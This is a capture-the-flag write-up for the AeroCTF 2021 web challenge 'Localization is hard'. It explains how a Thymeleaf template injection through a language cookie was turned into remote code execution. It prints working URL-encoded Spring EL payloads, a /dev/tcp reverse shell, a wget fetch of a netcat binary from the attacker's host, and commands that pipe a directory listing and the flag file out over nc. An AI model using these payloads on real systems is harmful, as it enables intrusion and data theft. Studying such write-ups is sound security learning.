[AeroCTF 2021 - web] Localization is hard
Localization is hard
0x00
To solve this challenge we had to exploit a SSTI on Thymeleaf and lead that into a Remote Code Execution
0x01
Discovering the vulnerability
The challenge description talk about a Coffee who made for CTFers and in English and in Russian.
Btw , the challenge description tell us that the flag should be located at /
on the file system, this maybe mean that we have to get an access to the machine to read the flag.
By inspecting the website we can read that the language can be choosed by clicking on a button.
(onclick
event), then the set_language(lang)
function will be executed
(quick look into the /js/templatemo-script.js)
function set_language(lang) {
document.cookie = "lang=" + lang;
window.location.reload();
}
the function set a cookie lang
with en
or ru
trying a path traversal “../flag/"
curl http://151.236.114.211:7878/ --cookie "lang=en"
“org.thymeleaf.exceptions.TemplateInputException” by googling this error message, we find : thymeleaf . This a modern server-side Java template engine for both web and standalone environments.
0x02
Find out about this Template-Engine
Assuming Thymeleaf as a template engine , we can think about a Server-side template injection. So searching about SSTI on this template engine » https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ » https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability » https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#thymeleaf-java
Exploitation
To attempt an SSTI in Thymeleaf, we first must understand expressions that appear in Thymeleaf attributes. Thymeleaf expressions can have the following types:
${...}
: Variable expressions – in practice, these are OGNL or Spring EL expressions.
*{...}
: Selection expressions – similar to variable expressions but used for specific purposes.
#{...}
: Message (i18n) expressions – used for internationalization.
@{...}
: Link (URL) expressions – used to set correct URLs/paths in the application.
~{...}
: Fragment expressions – they let you reuse parts of templates.
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("whoami")}__::.x
According Acunetix. However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports expression inlining. To use this feature, you must put an expression within [[...]]
or [(...)]
(select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be [[${7*7}]]
.
So let’s try on the site cookie to check the RCE
__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7D__%3A%3A.x
We don’t have the stdout in the response but we always have a 500 response.
It’s maybe blind based, so let’s try to sleep. It’s work !
So now, we understand that :
when we got org.thymeleaf.exceptions.TemplateInputException
this mean that the command is executed, but when we send a bad command or a non-urlencoded payload we got java.lang.IllegalArgumentException
0x03
Connect to our machine
We tried firstly to do a simple tcp reverse shell with
__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22%2Fbin%2Fsh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fmyip%2F1337%200%3E%261%22).getInputStream()).next()%7D__%3A%3A.x
But nothing… So let’s try to wget a nc binary on our machine
__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22wget%20ip/nc%22).getInputStream()).next()%7D__%3A%3A.x
and now try to bind shell our machine.. Bingo ! We got a connexion from the machine, but nothing in the output.
Getting a shell environment from Runtime.exec
According code white
The command passed to Runtime.exec
is not executed by a shell. Instead, if you dig down though the Java source code, you’ll end up in the _UNIX process class, which reveals that calling Runtime.exec
results in a fork
and exec
call on Unix platforms.
Exemple:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
We call this class as shown below with single quotes around the command line to ensure that our shell passes the command line argument to Java as is:
$ java Exec ‘command arg1 arg2 …’
So let’s try to use this to read our flag :
__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20echo%20ls%20-la%20%2F%7C%20nc%20ip%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x
url decoded payload __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("sh -c $@|sh . echo ls -la /| nc ip 1337").getInputStream()).next()}__::.x
Now cat the flag :
__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20cat%20%2Ftry_find_me.txt%7C%20nc%20ip%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x
Aero{j4va_1s_better_th4n_engl1sh}
Cheers, @0x22sh =)